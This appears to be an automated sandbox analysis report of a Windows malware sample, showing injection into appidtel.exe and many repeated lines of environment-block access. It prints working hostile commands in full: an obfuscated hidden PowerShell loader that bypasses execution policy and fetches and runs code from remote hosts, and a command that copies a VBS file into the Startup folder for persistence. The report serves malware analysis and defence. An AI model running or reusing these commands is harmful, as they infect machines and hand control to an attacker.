Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA0E3 mov ecx, dword ptr fs:[00000030h]	11_2_033FA0E3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343909C mov eax, dword ptr fs:[00000030h]	11_2_0343909C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C60B8 mov eax, dword ptr fs:[00000030h]	11_2_034C60B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C60B8 mov ecx, dword ptr fs:[00000030h]	11_2_034C60B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03413740 mov eax, dword ptr fs:[00000030h]	11_2_03413740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03413740 mov eax, dword ptr fs:[00000030h]	11_2_03413740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03413740 mov eax, dword ptr fs:[00000030h]	11_2_03413740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D3749 mov eax, dword ptr fs:[00000030h]	11_2_034D3749
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343674D mov esi, dword ptr fs:[00000030h]	11_2_0343674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343674D mov eax, dword ptr fs:[00000030h]	11_2_0343674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343674D mov eax, dword ptr fs:[00000030h]	11_2_0343674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9730 mov eax, dword ptr fs:[00000030h]	11_2_033F9730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9730 mov eax, dword ptr fs:[00000030h]	11_2_033F9730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03400750 mov eax, dword ptr fs:[00000030h]	11_2_03400750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442750 mov eax, dword ptr fs:[00000030h]	11_2_03442750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442750 mov eax, dword ptr fs:[00000030h]	11_2_03442750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03484755 mov eax, dword ptr fs:[00000030h]	11_2_03484755
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03408770 mov eax, dword ptr fs:[00000030h]	11_2_03408770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770 mov eax, dword ptr fs:[00000030h]	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03405702 mov eax, dword ptr fs:[00000030h]	11_2_03405702
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03405702 mov eax, dword ptr fs:[00000030h]	11_2_03405702
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03407703 mov eax, dword ptr fs:[00000030h]	11_2_03407703
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343C700 mov eax, dword ptr fs:[00000030h]	11_2_0343C700
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03400710 mov eax, dword ptr fs:[00000030h]	11_2_03400710
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03430710 mov eax, dword ptr fs:[00000030h]	11_2_03430710
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB765 mov eax, dword ptr fs:[00000030h]	11_2_033FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB765 mov eax, dword ptr fs:[00000030h]	11_2_033FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB765 mov eax, dword ptr fs:[00000030h]	11_2_033FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB765 mov eax, dword ptr fs:[00000030h]	11_2_033FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343F71F mov eax, dword ptr fs:[00000030h]	11_2_0343F71F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343F71F mov eax, dword ptr fs:[00000030h]	11_2_0343F71F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03403720 mov eax, dword ptr fs:[00000030h]	11_2_03403720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341F720 mov eax, dword ptr fs:[00000030h]	11_2_0341F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341F720 mov eax, dword ptr fs:[00000030h]	11_2_0341F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341F720 mov eax, dword ptr fs:[00000030h]	11_2_0341F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343C720 mov eax, dword ptr fs:[00000030h]	11_2_0343C720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343C720 mov eax, dword ptr fs:[00000030h]	11_2_0343C720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF72E mov eax, dword ptr fs:[00000030h]	11_2_034BF72E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C972B mov eax, dword ptr fs:[00000030h]	11_2_034C972B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DB73C mov eax, dword ptr fs:[00000030h]	11_2_034DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DB73C mov eax, dword ptr fs:[00000030h]	11_2_034DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DB73C mov eax, dword ptr fs:[00000030h]	11_2_034DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DB73C mov eax, dword ptr fs:[00000030h]	11_2_034DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347C730 mov eax, dword ptr fs:[00000030h]	11_2_0347C730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03435734 mov eax, dword ptr fs:[00000030h]	11_2_03435734
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340973A mov eax, dword ptr fs:[00000030h]	11_2_0340973A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340973A mov eax, dword ptr fs:[00000030h]	11_2_0340973A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343273C mov eax, dword ptr fs:[00000030h]	11_2_0343273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343273C mov ecx, dword ptr fs:[00000030h]	11_2_0343273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343273C mov eax, dword ptr fs:[00000030h]	11_2_0343273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340C7C0 mov eax, dword ptr fs:[00000030h]	11_2_0340C7C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034057C0 mov eax, dword ptr fs:[00000030h]	11_2_034057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034057C0 mov eax, dword ptr fs:[00000030h]	11_2_034057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034057C0 mov eax, dword ptr fs:[00000030h]	11_2_034057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF7BA mov eax, dword ptr fs:[00000030h]	11_2_033FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034807C3 mov eax, dword ptr fs:[00000030h]	11_2_034807C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340D7E0 mov ecx, dword ptr fs:[00000030h]	11_2_0340D7E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034227ED mov eax, dword ptr fs:[00000030h]	11_2_034227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034227ED mov eax, dword ptr fs:[00000030h]	11_2_034227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034227ED mov eax, dword ptr fs:[00000030h]	11_2_034227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034047FB mov eax, dword ptr fs:[00000030h]	11_2_034047FB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034047FB mov eax, dword ptr fs:[00000030h]	11_2_034047FB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF78A mov eax, dword ptr fs:[00000030h]	11_2_034BF78A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034897A9 mov eax, dword ptr fs:[00000030h]	11_2_034897A9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348F7AF mov eax, dword ptr fs:[00000030h]	11_2_0348F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348F7AF mov eax, dword ptr fs:[00000030h]	11_2_0348F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348F7AF mov eax, dword ptr fs:[00000030h]	11_2_0348F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348F7AF mov eax, dword ptr fs:[00000030h]	11_2_0348F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348F7AF mov eax, dword ptr fs:[00000030h]	11_2_0348F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034007AF mov eax, dword ptr fs:[00000030h]	11_2_034007AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342D7B0 mov eax, dword ptr fs:[00000030h]	11_2_0342D7B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D37B6 mov eax, dword ptr fs:[00000030h]	11_2_034D37B6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341C640 mov eax, dword ptr fs:[00000030h]	11_2_0341C640
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF626 mov eax, dword ptr fs:[00000030h]	11_2_033FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C866E mov eax, dword ptr fs:[00000030h]	11_2_034C866E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C866E mov eax, dword ptr fs:[00000030h]	11_2_034C866E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A660 mov eax, dword ptr fs:[00000030h]	11_2_0343A660
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A660 mov eax, dword ptr fs:[00000030h]	11_2_0343A660
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03439660 mov eax, dword ptr fs:[00000030h]	11_2_03439660
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03439660 mov eax, dword ptr fs:[00000030h]	11_2_03439660
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03432674 mov eax, dword ptr fs:[00000030h]	11_2_03432674
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343F603 mov eax, dword ptr fs:[00000030h]	11_2_0343F603
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03431607 mov eax, dword ptr fs:[00000030h]	11_2_03431607
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341260B mov eax, dword ptr fs:[00000030h]	11_2_0341260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E609 mov eax, dword ptr fs:[00000030h]	11_2_0347E609
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03403616 mov eax, dword ptr fs:[00000030h]	11_2_03403616
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03403616 mov eax, dword ptr fs:[00000030h]	11_2_03403616
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442619 mov eax, dword ptr fs:[00000030h]	11_2_03442619
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03436620 mov eax, dword ptr fs:[00000030h]	11_2_03436620
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03438620 mov eax, dword ptr fs:[00000030h]	11_2_03438620
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E627 mov eax, dword ptr fs:[00000030h]	11_2_0341E627
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340262C mov eax, dword ptr fs:[00000030h]	11_2_0340262C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5636 mov eax, dword ptr fs:[00000030h]	11_2_034D5636
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340B6C0 mov eax, dword ptr fs:[00000030h]	11_2_0340B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C16CC mov eax, dword ptr fs:[00000030h]	11_2_034C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C16CC mov eax, dword ptr fs:[00000030h]	11_2_034C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C16CC mov eax, dword ptr fs:[00000030h]	11_2_034C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C16CC mov eax, dword ptr fs:[00000030h]	11_2_034C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A6C7 mov ebx, dword ptr fs:[00000030h]	11_2_0343A6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A6C7 mov eax, dword ptr fs:[00000030h]	11_2_0343A6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF6C7 mov eax, dword ptr fs:[00000030h]	11_2_034BF6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034316CF mov eax, dword ptr fs:[00000030h]	11_2_034316CF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F76B2 mov eax, dword ptr fs:[00000030h]	11_2_033F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F76B2 mov eax, dword ptr fs:[00000030h]	11_2_033F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F76B2 mov eax, dword ptr fs:[00000030h]	11_2_033F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD6AA mov eax, dword ptr fs:[00000030h]	11_2_033FD6AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD6AA mov eax, dword ptr fs:[00000030h]	11_2_033FD6AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342D6E0 mov eax, dword ptr fs:[00000030h]	11_2_0342D6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342D6E0 mov eax, dword ptr fs:[00000030h]	11_2_0342D6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034936EE mov eax, dword ptr fs:[00000030h]	11_2_034936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034336EF mov eax, dword ptr fs:[00000030h]	11_2_034336EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0347E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0347E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0347E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E6F2 mov eax, dword ptr fs:[00000030h]	11_2_0347E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034806F1 mov eax, dword ptr fs:[00000030h]	11_2_034806F1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034806F1 mov eax, dword ptr fs:[00000030h]	11_2_034806F1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BD6F0 mov eax, dword ptr fs:[00000030h]	11_2_034BD6F0

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_8004.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8004, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\appidtel.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 2D55008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command 